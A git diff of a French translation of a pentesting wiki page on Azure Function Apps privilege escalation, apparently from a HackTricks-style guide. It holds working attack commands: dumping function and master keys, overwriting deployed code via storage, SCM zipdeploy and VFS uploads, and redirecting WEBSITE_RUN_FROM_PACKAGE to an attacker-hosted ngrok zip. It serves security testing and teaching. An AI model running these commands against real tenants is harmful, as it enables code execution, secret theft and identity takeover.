diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index fe8dd8f94..fda31903a 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -4,7 +4,7 @@ ## Function Apps -Check the following page for more information: +Consultez la page suivante pour plus d'informations : {{#ref}} ../az-services/az-function-apps.md @@ -12,15 +12,15 @@ Check the following page for more information: ### Bucket Read/Write -Avec des permissions de lecture sur les containers à l'intérieur du Storage Account qui stocke les données de la function, il est possible de trouver **différents containers** (personnalisés ou avec des noms prédéfinis) qui peuvent contenir **le code exécuté par la function**. +Avec des permissions pour lire les containers à l'intérieur du Storage Account qui stocke les données de la function, il est possible de trouver **différents containers** (custom ou avec des noms prédéfinis) qui peuvent contenir **le code exécuté par la function**. -Une fois que vous trouvez où le code de la function est situé, si vous avez des permissions d'écriture dessus, vous pouvez faire exécuter n'importe quel code par la function et escalader les privilèges vers les managed identities attachées à la function. +Une fois que vous trouvez où se trouve le code de la function, si vous avez des permissions d'écriture dessus, vous pouvez faire exécuter à la function n'importe quel code et escalader les privilèges vers les managed identities attachées à la function. -- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)` +- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)` -Le code de la function est généralement stocké dans un file share. Avec un accès suffisant, il est possible de modifier le fichier de code et **forcer la function à charger du code arbitraire**, permettant d'escalader les privilèges vers les managed identities attachées à la Function. +Le code de la function est généralement stocké dans un file share. Avec suffisamment d'accès, il est possible de modifier le fichier de code et de **faire charger à la function du code arbitraire**, ce qui permet d'escalader les privilèges vers les managed identities attachées à la Function. -Cette méthode de déploiement configure habituellement les paramètres **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** et **`WEBSITE_CONTENTSHARE`** que vous pouvez obtenir depuis +Cette méthode de déploiement configure généralement les paramètres **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** et **`WEBSITE_CONTENTSHARE`** que vous pouvez obtenir depuis ```bash az functionapp config appsettings list \ --name \ @@ -29,9 +29,9 @@ az functionapp config appsettings list \ Ces configs contiendront la **Storage Account Key** que la Function peut utiliser pour accéder au code. > [!CAUTION] -> Avec suffisamment de permissions pour se connecter au File Share et **modify the script** qui tourne, il est possible d'exécuter du code arbitraire dans la Function et d'escalate privileges. +> Avec suffisamment de permissions pour se connecter au File Share et **modifier le script** en cours d'exécution, il est possible d'exécuter du code arbitraire dans la Function et d'escalader les privileges. -The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares: +L'exemple suivant utilise macOS pour se connecter au file share, mais il est recommandé de consulter aussi la page suivante pour plus d'infos sur les file shares : {{#ref}} ../az-services/az-file-shares.md @@ -47,26 +47,26 @@ open "smb://.file.core.windows.net/" ``` - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -Il est aussi courant de trouver les **archives zip** dans le dossier `function-releases` du conteneur Storage Account que la function app utilise, dans un conteneur **généralement appelé `function-releases`**. +Il est aussi courant de trouver les **zip releases** à l'intérieur du dossier `function-releases` du conteneur Storage Account que l'application function utilise dans un conteneur **généralement appelé `function-releases`**. -Généralement, cette méthode de déploiement définira la configuration `WEBSITE_RUN_FROM_PACKAGE` dans : +En général, cette méthode de déploiement définira la config `WEBSITE_RUN_FROM_PACKAGE` dans : ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -Cette configuration contient généralement une **SAS URL pour télécharger** le code depuis le Storage Account. +Cette config contiendra généralement une **SAS URL to download** le code depuis le Storage Account. > [!CAUTION] -> Avec des permissions suffisantes pour se connecter au blob container qui **contient le code en zip**, il est possible d'exécuter du code arbitraire dans la Function et d'escalader les privilèges. +> Avec suffisamment d’autorisation pour se connecter au blob container qui **contains the code in zip** il est possible d’exécuter du code arbitraire dans la Function et d’escalader les privilèges. - **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`) -Comme dans le cas précédent, si le déploiement est effectué via Github Actions, il est possible de trouver le dossier **`github-actions-deploy`** dans le Storage Account contenant un zip du code et une SAS URL vers le zip dans le paramètre `WEBSITE_RUN_FROM_PACKAGE`. +Tout comme dans le cas précédent, si le déploiement est effectué via Github Actions, il est possible de trouver le dossier **`github-actions-deploy`** dans le Storage Account contenant un zip du code et une SAS URL vers le zip dans le paramètre `WEBSITE_RUN_FROM_PACKAGE`. - **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`) -Avec des permissions pour lire les containers à l'intérieur du Storage Account qui stocke les données de la Function, il est possible de trouver le container **`scm-releases`**. Là, il est possible de trouver la dernière release en **Squashfs filesystem file format** et donc de lire le code de la Function : +Avec les permissions pour lire les containers à l’intérieur du Storage Account qui stocke les données de la function, il est possible de trouver le container **`scm-releases`**. À l’intérieur, il est possible de trouver la dernière release au format **Squashfs filesystem file format** et donc il est possible de lire le code de la function: ```bash # List containers inside the storage account of the function app az storage container list \ @@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` -Il est également possible de trouver les **master and functions keys** stockées dans le storage account, dans le container **`azure-webjobs-secrets`**, à l'intérieur du dossier **``**, dans les fichiers JSON qui s'y trouvent. +Il est aussi possible de trouver les **master and functions keys** stockées dans le storage account dans le container **`azure-webjobs-secrets`** à l’intérieur du dossier **``** dans les fichiers JSON que vous pouvez y trouver. > [!CAUTION] -> Avec des autorisations suffisantes pour se connecter au blob container qui **contains the code in a zip extension file** (qui en réalité est un **`squashfs`**), il est possible d'exécuter du code arbitraire dans la Function et d'escalader les privilèges. +> Avec suffisamment de permissions pour se connecter au blob container qui **contient le code dans un fichier avec une extension zip** (qui est en réalité un **`squashfs`**), il est possible d’exécuter du code arbitraire dans la Function et d’escalader les privilèges. ```bash # Modify code inside the script in /tmp/fs adding your code @@ -118,11 +118,11 @@ az storage blob upload \ ``` ### `Microsoft.Web/sites/host/listkeys/action` -Cette permission permet de lister les clés function, master et system, mais pas la clé host, de la fonction spécifiée avec: +Cette permission permet de lister les keys function, master et system, mais pas la host, de la function spécifiée avec : ```bash az functionapp keys list --resource-group --name ``` -Avec la master key, il est aussi possible d'obtenir le code source via une URL comme : +Avec la master key, il est aussi possible d'obtenir le source code dans une URL comme : ```bash # Get "script_href" from az rest --method GET \ @@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # JavaScript function app example curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v ``` -Et pour **modifier le code qui est exécuté** dans la fonction avec : +Et pour **modifier le code qui est exécuté** dans la function avec : ```bash # Set the code to set in the function in /tmp/function_app.py ## Python function app example @@ -158,28 +158,28 @@ Cette permission permet d'obtenir la clé par défaut de la fonction spécifiée ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` -Appeler la fonction en utilisant la clé par défaut obtenue : +Invoquez la fonction en utilisant la clé par défaut obtenue : ```bash curl "https://.azurewebsites.net/api/?code=" ``` ### `Microsoft.Web/sites/host/functionKeys/write` -Cette permission permet de créer/mettre à jour une clé de fonction de la fonction spécifiée avec : +Cette permission permet de créer/mettre à jour une function key de la fonction spécifiée avec : ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` ### `Microsoft.Web/sites/host/masterKey/write` -Cette permission permet de créer/mettre à jour une master key pour la fonction spécifiée avec : +Cette permission permet de créer/mettre à jour une master key pour la function spécifiée avec : ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` > [!CAUTION] -> N'oubliez pas qu'avec cette key vous pouvez également accéder au source code et le modifier comme expliqué précédemment ! +> N'oubliez pas qu'avec cette clé vous pouvez aussi accéder au code source et le modifier comme expliqué précédemment ! ### `Microsoft.Web/sites/host/systemKeys/write` -Cette permission permet de créer/mettre à jour un system function key pour la function spécifiée avec : +Cette permission permet de créer/mettre à jour une system function key pour la fonction spécifiée avec : ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` @@ -193,28 +193,28 @@ curl "https://.azurewebsites.net/runtime/webhooks/eventgrid?code= --resource-group ``` -De plus, cette permission permet également d'obtenir le **SCM username and password** (si activés) avec : +De plus, cette permission permet également d’obtenir le **nom d’utilisateur et le mot de passe SCM** (si activé) avec : ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` ### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` -Ces permissions permettent de lister les valeurs de configuration d'une fonction comme nous l'avons vu précédemment, et aussi de **modifier ces valeurs**. C'est utile car ces paramètres indiquent où se trouve le code à exécuter à l'intérieur de la fonction. +Ces permissions permettent de lister les valeurs de config d'une function comme nous l'avons vu précédemment, ainsi que de **modifier ces valeurs**. C'est utile car ces settings indiquent où se trouve le code à exécuter à l'intérieur de la function. -Il est donc possible de définir la valeur du paramètre **`WEBSITE_RUN_FROM_PACKAGE`** pointant vers un fichier zip accessible via une URL contenant le nouveau code à exécuter dans une application web : +Il est donc possible de définir la valeur du setting **`WEBSITE_RUN_FROM_PACKAGE`** en pointant vers un fichier zip URL contenant le nouveau code à exécuter dans une web application : -- Commencez par récupérer la configuration actuelle +- Commencez par récupérer la config actuelle ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -- Créez le code que vous voulez que la fonction exécute et hébergez-le publiquement +- Créez le code que vous voulez que la function exécute et hébergez-le publiquement ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -224,9 +224,9 @@ python3 -m http.server # Serve it using ngrok for example ngrok http 8000 ``` -- Modifiez la fonction, conservez les paramètres précédents et ajoutez à la fin la config **`WEBSITE_RUN_FROM_PACKAGE`** pointant vers l'URL contenant le **zip** avec le code. +- Modifiez la function, conservez les paramètres précédents et ajoutez à la fin la config **`WEBSITE_RUN_FROM_PACKAGE`** pointant vers l'URL du **zip** contenant le code. -L'exemple suivant montre mes **propres paramètres — vous devrez remplacer les valeurs par les vôtres**, notez qu'à la fin la valeur `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` indique où j'hébergeais l'application. +Voici un exemple de mes **propres settings que vous devrez modifier avec vos valeurs**, notez à la fin les valeurs `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, c'est là où j'hébergeais l'app. ```bash # Modify the function az rest --method PUT \ @@ -266,7 +266,7 @@ body: responseMessage ``` ### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) -Cette permission permet de lister tous les profils de publication qui contiennent essentiellement des **basic auth credentials** : +Ces permissions permettent de lister tous les profils de publication qui contiennent essentiellement des **basic auth credentials** : ```bash # Get creds az functionapp deployment list-publishing-profiles \ @@ -274,7 +274,7 @@ az functionapp deployment list-publishing-profiles \ --resource-group \ --output json ``` -Une autre option serait de définir vos propres creds et de les utiliser : +Une autre option serait de définir vos propres creds et de les utiliser avec : ```bash az functionapp deployment user set \ --user-name DeployUser123456 g \ @@ -282,7 +282,7 @@ az functionapp deployment user set \ ``` - Si les identifiants **REDACTED** -Si vous voyez que ces identifiants sont **REDACTED**, c'est parce que vous **devez activer l'option SCM basic authentication** et pour cela vous avez besoin de la seconde permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` +Si vous voyez que ces identifiants sont **REDACTED**, c'est parce que vous devez **activer l'option d'authentification de base SCM** et, pour cela, vous avez besoin de la deuxième permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ```bash # Enable basic authentication for SCM az rest --method PUT \ @@ -302,28 +302,49 @@ az rest --method PUT \ } } ``` -- **Méthode SCM** +- **Method SCM** -Ensuite, vous pouvez accéder à l'URL SCM de votre function app avec ces **basic auth credentials** et obtenir les valeurs des env variables : +Ensuite, vous pouvez accéder avec ces **identifiants basic auth vers l'URL SCM** de votre function app et obtenir les valeurs des variables d'environnement : ```bash # Get settings values curl -u ':' \ https://.scm.azurewebsites.net/api/settings -v -# Deploy code to the funciton -zip function_app.zip function_app.py # Your code in function_app.py -curl -u ':' -X POST --data-binary "@" \ -https://.scm.azurewebsites.net/api/zipdeploy ``` -_Notez que le **nom d'utilisateur SCM** est généralement le caractère "$" suivi du nom de l'application, donc : `$`._ +Vous pouvez télécharger, modifier et uploader de nouveaux code de function : +```bash +# download +curl -u ':' -X GET \ +https://.scm.azurewebsites.net/api/zip/site/wwwroot/ \ +-o current_function_code.zip -Vous pouvez aussi accéder à la page web depuis `https://.scm.azurewebsites.net/BasicAuth` +unzip current_function_code.zip -d updated_code/ +cd updated_code/ +#... modify the function code +zip -r ../updated_function_app.zip . +cd ../ -Les valeurs des settings contiennent la **AccountKey** du storage account qui stocke les données de la function app, ce qui permet de contrôler ce storage account. +# upload +curl -u ':' https://.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v +``` +Vous pouvez même télécharger un fichier spécifique : +```bash +curl -u ':' \ +-X PUT \ +-H "Content-Type: application/javascript" \ +-H "If-Match: *" \ +--data-binary "@./my_local_payload.js" \ +"https://.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file +``` +_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$`._ -- **Méthode FTP** +You can also access the web page from `https://.scm.azurewebsites.net/BasicAuth` -Connectez-vous au serveur FTP en utilisant : +Les valeurs des settings contiennent la **AccountKey** du storage account stockant les données de la function app, permettant de contrôler ce storage account. + +- **Method FTP** + +Connect to the FTP server using: ```bash # macOS install lftp brew install lftp @@ -337,19 +358,19 @@ ls # List get ./function_app.py -o /tmp/ # Download function_app.py in /tmp put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it ``` -_Notez que le **FTP username** est généralement au format \\\$\._ +_Note that the **FTP username** is usually in the format \\\$\._ ### `Microsoft.Web/sites/hostruntime/vfs/read` -Cette permission permet de **lire le code source** de l'app via le VFS : +Cette permission permet de **lire le code source** de l'app via le VFS: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` ### `Microsoft.Web/sites/functions/token/action` -Avec cette permission il est possible de [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) qui peut ensuite être utilisé pour récupérer la **master key** et donc accéder et modifier the function's code. +Avec cette permission, il est possible de [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) qui pourra ensuite être utilisé pour récupérer la **master key** et donc accéder au code de la function et le modifier. -Cependant, lors de mes derniers contrôles aucun token n'a été retourné, donc il se peut qu'il soit désactivé ou ne fonctionne plus, mais voici comment procéder : +Cependant, lors de mes dernières vérifications, aucun token n’a été renvoyé, donc il se peut que ce soit désactivé ou que cela ne fonctionne plus. Mais voici comment vous le feriez : ```bash # Get admin token az rest --method GET \ @@ -361,7 +382,7 @@ curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ ``` ### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) -Ces permissions permettent d'**activer des fonctions** qui pourraient être désactivées (ou de les désactiver). +Cette permission permet d'**activer des functions** qui pourraient être désactivées (ou de les désactiver). ```bash # Enable a disabled function az functionapp config appsettings set \ @@ -369,13 +390,13 @@ az functionapp config appsettings set \ --resource-group \ --settings "AzureWebJobs.http_trigger1.Disabled=false" ``` -Il est également possible de vérifier si une fonction est activée ou désactivée à l'URL suivante (en utilisant l'autorisation entre parenthèses) : +Il est également possible de voir si une function est activée ou désactivée dans l’URL suivante (en utilisant la permission entre parenthèses) : ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` ### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -Avec ces permissions il est possible de **modifier le conteneur exécuté par une function app** configurée pour exécuter un container. Cela permettrait à un attaquant de téléverser une azure function container app malveillante sur docker hub (par exemple) et de faire en sorte que la function app l'exécute. +Avec ces permissions, il est possible de **modifier le container exécuté par une function app** configurée pour s’exécuter dans un container. Cela permettrait à un attaquant de téléverser un container d’azure function app malveillant sur docker hub (par exemple) et de faire exécuter ce container par la function. ```bash az functionapp config container set --name \ --resource-group \ @@ -383,29 +404,29 @@ az functionapp config container set --name \ ``` ### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) -Avec ces permissions, il est possible d'**attacher une nouvelle user managed identity à une function**. Si la function était compromise, cela permettrait d'escalader les privilèges sur n'importe quelle user managed identity. +Avec ces permissions, il est possible de **rattacher une nouvelle user managed identity à une function**. Si la function a été compromise, cela permettrait d'escalader les privilèges vers n'importe quelle user managed identity. ```bash az functionapp identity assign \ --name \ --resource-group \ --identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` -### Remote Debugging +### Débogage à distance -Il est aussi possible de se connecter pour déboguer une Azure function en cours d'exécution comme [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Cependant, par défaut Azure désactivera cette option au bout de 2 jours si le développeur l'oublie, afin d'éviter de laisser des configurations vulnérables. +Il est aussi possible de se connecter pour déboguer une Azure function en cours d’exécution, comme [**expliqué dans la documentation**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Cependant, par défaut, Azure désactivera cette option au bout de 2 jours au cas où le développeur oublierait, afin d’éviter de laisser des configurations vulnérables. -Il est possible de vérifier si une Function a le débogage activé avec: +Il est possible de vérifier si une Function a le débogage activé avec : ```bash az functionapp show --name --resource-group ``` -En disposant de la permission `Microsoft.Web/sites/config/write`, il est également possible de mettre une fonction en mode débogage (la commande suivante nécessite aussi les permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` et `Microsoft.Web/sites/Read`). +Avec la permission `Microsoft.Web/sites/config/write`, il est aussi possible de mettre une function en mode debug (la commande suivante nécessite aussi les permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` et `Microsoft.Web/sites/Read`). ```bash az functionapp config set --remote-debugging-enabled=True --name --resource-group ``` -### Changer le repo Github +### Changer le dépôt Github -J'ai essayé de changer le repo Github d'où le déploiement a lieu en exécutant les commandes suivantes, mais même si cela a changé, **le nouveau code n'a pas été chargé** (probablement parce qu'il attend que la Github Action mette à jour le code).\ -De plus, la **managed identity federated credential wasn't updated** pour autoriser le nouveau repository, donc cela ne semble pas très utile. +J’ai essayé de changer le dépôt Github depuis lequel le déploiement s’effectue en exécutant les commandes suivantes, mais même si cela a bien été modifié, **le nouveau code n’a pas été chargé** (probablement parce qu’il s’attend à ce que GitHub Action mette à jour le code).\ +De plus, la **federated credential de managed identity n’a pas été mise à jour** pour autoriser le nouveau dépôt, donc il semble que ce ne soit pas très utile. ```bash # Remove current az functionapp deployment source delete \